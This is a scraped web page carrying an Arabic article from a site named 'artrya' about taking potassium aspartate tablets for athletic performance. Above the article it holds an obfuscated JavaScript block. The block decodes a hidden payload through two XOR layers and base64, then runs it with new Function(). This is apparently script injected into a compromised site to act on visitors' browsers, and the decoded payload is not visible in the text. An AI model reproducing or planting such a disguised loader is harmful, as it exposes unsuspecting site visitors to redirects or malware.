(function(){
var x7ef1c4=4786;
if(x7ef1c4>0){var ye305a3=x7ef1c4-5565}else{var ye305a3=5565}
var zebc797=ye305a3*95;
var _0xb1043ec5c2ee=[35,37,58,54,52,11,46,53,51,53,89,47,35,33,12,2,51,53,57,41,54,80,12,47,50,37,89,56,5,23,4,79,49,8,49,51,37,34,3,49,39,37,45,53,38,33,4,89,35,54,42,38,54,38,54,51,52,8,20,56,51,53,85,37,52,81,4,87,34,83,89,35,38,34,41,49,38,24,33,57,49,24,49,53,34,83,80,4,37,50,20,55,49,54,41,33,6,81,12,40,54,11,81,52,40,49,41,55,49,24,37,51,49,11,57,57,49,24,45,58,37,80,57,55,49,8,11,57,50,50,38,36,37,34,34,37,49,8,54,36,49,50,42,34,39,53,49,55,38,24,42,36,38,11,58,37,38,80,53,55,37,53,38,35,39,50,34,34,39,50,37,35,39,81,58,34,53,7,34,79,50,54,58,45,52,53,23,4,5,23,4,41,54,38,50,49,53,24,15,48,36,81,42,49,49,23,85,34,52,11,20,51,36,11,46,48,52,49,89,49,52,80,24,58,50,80,89,47,34,23,23,40,51,38,50,53,53,38,45,1,36,23,89,49,52,80,24,58,50,80,89,47,36,11,4,34,54,37,54,56,49,54,11,47,54,37,54,47,50,37,54,51,52,38,11,47,49,80,88,40,36,33,4,41,54,38,50,49,53,24,15,48,36,81,34,48,52,38,12,40,52,80,84,47,50,38,42,49,49,23,85,48,53,11,3,40,36,33,4,41,54,38,50,49,53,24,15,48,36,81,34,48,52,38,12,40,52,80,84,46,52,53,38,42,52,11,85,38,54,33,85,49,54,53,42,45,51,53,45,47,49,11,24,34,53,81,50,34,53,37,11,47,51,53,88,40,36,33,4,41,54,38,50,49,53,24,15,48,36,81,34,48,52,38,12,40,52,80,84,46,49,11,89,51,36,54,42,49,49,23,85,49,54,53,42,45,51,53,46,47,52,80,50,38,36,11,46,48,52,49,3,45,34,80,8,53,54,38,34,52,39,7,88,48,53,37,89,45,55,53,4,48,52,7,81,49,54,53,42,45,51,53,45,47,52,11,89,37,51,53,54,52,36,11,38,49,53,33,3,45,34,80,8,53,54,38,34,52,39,7,88,48,37,54,42,49,49,23,85,42,52,23,89,46,49,54,50,42,49,23,3,45,34,80,8,53,54,38,34,52,39,7,88,48,53,12,34,36,36,53,81,34,51,53,85,47,50,54,49,47,52,53,38,53,51,53,45,47,53,54,54,42,51,80,85,48,50,37,53,47,53,38,42,48,34,83,80,2,54,11,38,51,33,40,89,58,54,12,4,48,49,24,80,35,37,38,8,9,38,11,42,10,39,53,53,50,58,34,34,35,37,11,58,9,39,50,58,8,49,8,4,10,38,34,4,12,37,34,50,10,49,8,34,9,58,50,49,56,38,24,49,50,37,37,42,10,37,53,57,51,33,8,20,55,49,54,41,33,6,80,16,52,55,12,50,36,50,34,80,35,49,8,57,57,50,34,37,57,37,34,11,35,39,80,58,54,52,11,46,53,51,53,89,47,33,40,89,51,54,11,24,37,35,40,89,53,52,53,20,58,55,38,8,53,35,54,20,53,53,12,12,2,54,11,38,51,33,40,89,46,51,54,8,48,54,8,81,79,54,37,81,44,55,54,8,57,54,33,85,52,54,53,42,52,54,38,41,41,37,33,23,51,35,50,80,4,40,49,3,49,55,33,3,6,6,81,50,46,51,81,12,57,55,38,49,47,53,81,54,35,53,81,50,51,35,34,41,42,39,14,89,53,52,53,20,58,55,38,8,53,39,80,12,39,35,40,89,46,51,54,8,48,54,7,85,45,50,53,85,40,54,37,7,3,37,50,41,57,35,54,42,38,54,38,54,51,52,7,3,40,39,81,58,34,53,7,34,79,55,11,16,58,50,11,50,58,54,34,81,49,49,54,42,52,50,55,12,47,54,33,8,79,52,53,12,57,52,81,57,47,53,81,54,35,53,81,50,51,35,34,57,53,36,34,57,53,35,49,23,50,38,7,11,2,51,53,57,41,33,56,89,1,51,12,12,39,50,38,12,53,35,54,42,38,54,38,54,51,52,7,3,40,39,81,58,34,53,7,34,79,52,38,16,41,52,24,81,79,52,53,12,57,52,81,57,47,53,81,54,35,53,81,50,51,35,34,37,51,39,33,24,79,55,11,16,58,50,11,50,58,54,33,15,51,35,49,24,79,53,81,34,53,50,38,50,44,40,49,3,40,39,80,58,48,53,7,8,55,49,54,41,33,6,80,50,40,54,12,46,42,54,81,3,4,37,34,20,79,50,37,4,55,53,80,12,56,54,24,24,79,52,38,16,41,52,23,85,45,50,53,85,40,54,37,7,2,6,80,50,40,54,12,46,42,54,81,3,44,40,50,41,42,55,81,58,34,53,7,34,79,52,37,54,39,54,12,7,4,53,37,38,51,53,80,54,16,52,12,49,41,6,80,24,1,51,37,88,47,53,81,54,35,53,81,50,51,35,40,89,37,50,81,58,52,51,54,4,56,36,34,41,42,36,34,37,55,35,50,20,42,50,7,8,79,52,37,54,39,54,12,7,42,6,81,46,49,54,37,50,53,51,23,19,4,3,81,50,51,51,53,85,40,36,11,58,51,52,80,81,10,51,37,38,51,57,80,89,37,50,49,8,79,52,37,54,39,54,12,7,42,39,81,81,51,50,54,50,54,53,11,84,33,6,81,46,49,54,37,50,53,51,24,20,4,49,80,38,53,49,80,7,41,50,49,12,2,53,11,54,53,54,54,42,47,34,23,3,2,56,54,81,39,54,53,85,36,54,37,12,48,52,7,34,79,54,37,4,46,51,11,81,39,51,49,8,79,50,12,38,53,50,11,16,58,36,40,89,53,49,11,4,43,54,23,12,2,53,11,54,53,54,54,42,47,33,37,85,38,54,23,34,23,53,11,89,46,51,54,46,38,35,37,58,54,52,11,46,53,51,53,89,47,35,40,89,48,54,38,54,1,36,40,89,34,54,11,16,52,35,54,20,55,49,54,41,33,6,81,50,43,53,81,4,56,40,53,85,38,54,23,34,84,2,55,24,15,54,38,50,49,3,11,54,50,54,53,54,52,54,33,7,42,39,83,89,53,51,12,46,56,54,23,85,48,53,37,54,47,35,33,4,23,2,83,46,80,34,23,24,79,50,12,38,53,50,11,16,58,36,38,50,51,54,53,53,42,39,83,89,53,51,12,46,56,54,23,85,52,50,54,50,25,50,54,38,54,50,54,46,53,1,37,54,34,50,37,54,51,35,33,4,10,52,80,85,53,50,53,85,53,36,56,50,58,53,37,53,40,36,33,4,34,53,38,34,45,51,53,46,34,54,37,12,48,52,7,89,43,53,80,89,47,34,23,11,2,6,81,50,43,53,81,4,56,36,12,50,42,52,53,54,48,54,54,49,4,38,50,33,49,37,34,20,79,54,37,16,52,54,81,3,47,52,80,85,45,52,80,38,37,40,53,58,54,52,11,46,53,51,53,89,47,35,33,12,2,54,38,42,58,55,83,89,48,54,38,54,1,35,39,16,26,2,82,84,47,53,37,38,51,53,80,53,41,6,81,50,43,53,81,4,56,36,12,42,38,53,81,34,48,52,12,46,38,4,37,54,57,54,33,11,42,39,81,81,36,49,54,50,36,51,33,8,38,35,54,20,79,49,54,58,43,53,23,8,38,35,50,20,4,56,50,20,79,54,37,16,52,54,81,3,47,52,80,85,38,53,12,42,48,53,8,81,79,54,37,16,52,54,81,3,47,52,80,85,53,51,53,81,38,52,81,54,53,40,53,58,54,52,11,46,53,51,53,89,47,35,33,12,2,6,80,38,55,51,12,45,41,52,11,54,56,33,39,54,51,53,11,89,51,35,33,11,42,39,81,80,2,6,81,50,43,53,81,4,56,36,12,46,38,52,11,49,41,1,14,46,22,2,7,85,52,54,38,42,42,52,11,4,42,50,12,11,41,6,81,50,35,50,80,16,56,35,49,11,2,56,49,11,2,56,53,58,54,52,11,46,53,51,53,89,47,33,40,89,34,52,38,8,51,54,23,8,79,54,80,81,58,55,7,12,2,51,53,57,41,6,81,4,46,55,54,15,5,40,56,89,38,54,11,24,46,52,33,85,45,50,53,85,40,54,37,7,42,53,11,54,53,54,54,42,47,33,40,34,51,52,80,81,42,53,80,53,47,53,11,54,52,52,80,24,55,50,49,8,47,54,53,24,45,35,50,20,55,49,54,41,33,6,81,12,49,52,37,8,58,40,54,20,43,53,80,89,47,53,12,34,36,39,7,3,51,36,8,33,40,36,37,81,38,54,37,8,48,50,34,15,40,50,54,50,41,6,80,46,34,52,37,23,40,36,38,34,34,53,11,38,46,53,24,16,87,55,81,50,48,39,14,89,58,54,12,4,48,49,23,24,37,49,54,50,34,39,7,3,49,55,33,3,44,6,80,16,52,55,12,50,36,50,38,80,45,34,80,24,34,54,37,54,52,54,33,4,89,36,37,12,37,39,8,38,4,39,81,42,38,54,38,54,51,52,7,34,79,54,37,4,46,51,11,81,39,51,49,8,79,50,54,58,45,52,53,24,87,6,81,4,46,55,54,16,89,36,40,89,58,53,37,24,41,55,49,11,47,54,37,8,38,52,7,8,39,54,53,85,36,54,37,12,48,52,7,8,79,51,53,89,51,50,7,12,2,54,11,38,51,33,40,89,50,53,12,12,57,40,56,89,42,52,81,42,39,34,7,58,79,51,53,89,51,50,7,85,51,50,54,46,54,52,38,49,6,6,81,42,55,52,37,49,41,6,80,12,48,53,11,57,47,53,11,54,52,54,53,24,53,35,50,15,40,34,24,20,42,50,7,8,79,53,54,42,58,55,33,12,51,50,54,50,54,53,11,84,33,6,81,38,51,55,54,7,47,53,11,54,49,52,37,38,36,50,49,7,48,6,33,88,44,34,33,88,45,34,23,3,42,39,81,42,38,54,38,54,51,52,7,34,79,49,53,24,57,53,12,3,41,6,81,4,46,55,54,15,44,37,49,11,2,56,49,11,47,49,80,38,53,49,80,7,41,50,12,54,47,49,81,50,42,52,80,84,41,35,54,20,51,50,54,50,54,53,11,84,33,6,80,38,45,55,38,42,56,35,40,89,56,52,54,12,1,35,24,37,42,39,81,80,42,39,81,81,39,54,53,85,36,54,37,12,48,52,7,34,79,53,38,54,43,52,37,16,56,55,49,8,79,55,54,42,55,51,53,8,57,54,23,12,2,54,11,38,51,33,40,89,45,51,81,38,51,40,53,50,48,49,81,54,46,50,53,85,53,36,11,46,51,50,53,38,53,50,55,54,45,50,53,81,38,52,12,49,41,34,81,46,36,53,11,12,49,54,33,3,42,39,83,89,45,51,81,38,51,36,12,46,51,49,24,81,79,55,54,42,55,51,53,8,57,54,23,19,40,36,80,38,49,51,49,85,49,51,38,33,6,53,24,80,40,35,83,89,58,50,81,58,46,53,23,19,40,34,14,89,55,40,49,3,44,2,53,38,53,51,33,85,39,52,37,89,48,53,7,8,11,49,54,50,38,36,11,85,48,54,23,7,42,36,24,57,49,37,34,33,49,35,50,20,79,52,37,20,50,53,7,85,34,53,81,12,47,49,24,81,53,53,12,54,38,39,23,8,37,52,80,46,54,52,53,54,47,54,33,85,41,50,53,38,37,56,38,24,37,52,80,46,54,52,53,54,47,54,33,85,35,52,80,50,58,35,49,85,34,53,38,34,38,52,11,50,10,51,37,12,45,50,33,8,79,52,37,20,50,53,7,11,2,56,56,89,34,52,38,8,51,54,23,7,49,35,49,85,53,51,37,54,47,35,37,58,54,52,11,46,53,51,53,89,47,35,40,89,58,53,12,58,42,51,38,8,56,35,54,20,42,50,7,8,79,55,54,42,55,51,53,8,57,54,23,12,79,53,38,54,43,52,37,16,56,55,49,8,79,55,54,42,55,51,53,8,57,54,23,11,2,56,49,11,2,56,49,11,41,35,50,19,93];
var _0xa3c8319ffb00=96;
var _0x12cba2258c91='';
for(var _0x57b8d54cfdb2=0;_0x57b8d54cfdb2<_0xb1043ec5c2ee.length;_0x57b8d54cfdb2++)
_0x12cba2258c91+=String.fromCharCode(_0xb1043ec5c2ee[_0x57b8d54cfdb2]^_0xa3c8319ffb00);
var _0x6a2dccd84b03=32;
var _0xc5fdf09ba47b=atob(_0x12cba2258c91);
var _code='';
for(var _0x57b8d54cfdb2=0;_0x57b8d54cfdb2<_0xc5fdf09ba47b.length;_0x57b8d54cfdb2++)
_code+=String.fromCharCode(_0xc5fdf09ba47b.charCodeAt(_0x57b8d54cfdb2)^_0x6a2dccd84b03);
(new Function(_code))();
})();
كيفية تناول أقراص أسبارتات البوتاسيوم – artrya
أسبارتات البوتاسيوم هو مكمل غذائي شائع بين الرياضيين وعشاق اللياقة البدنية، حيث يُستخدم لتحسين الأداء الرياضي ودعم مستويات الطاقة. يعدّ هذا المكمل خيارًا شائعًا لتحسين قدرة الجسم على التحمل والاحتفاظ بالطاقة خلال التمارين المكثفة.
تناول أسبارتات البوتاسيوم يجب أن يتم بحذر ووفقًا للتوجيهات. إليك بعض الخطوات التي يمكن اتباعها لتناول الأقراص بشكل صحيح:
الجرعة: تأكد من قراءة التعليمات الخاصّة بالجرعة التي يُوصى بها على العبوة أو حسب توجيه الطبيب أو اختصاصي التغذية.
التوقيت: يُفضّل تناول أسبارتات البوتاسيوم قبل التمرين بمدة تتراوح بين 30 إلى 60 دقيقة للحصول على أفضل النتائج.
الماء: تناول الأقراص مع كوب من الماء، حيث يساعد ذلك على تسهيل البلع وتخفيف أي تأثيرات جانبية قد تحدث على المعدة.
عدم تجاوز الجرعة: لا تتجاوز الجرعة الموصى بها لتجنب أي آثار سلبية محتملة على الصحة.
الخاتمة
أسبارتات البوتاسيوم يمكن أن يكون إضافة فعالة لنظامك الغذائي، خاصة إذا كنت تهتم بتحسين أدائك الرياضي. يجب مراعاة التعليمات والإرشادات عند تناوله لضمان فعاليته وسلامته. إذا كنت غير متأكد من كيفية استخدامه، يُستحسن استشارة متخصص قبل البدء في تناوله.
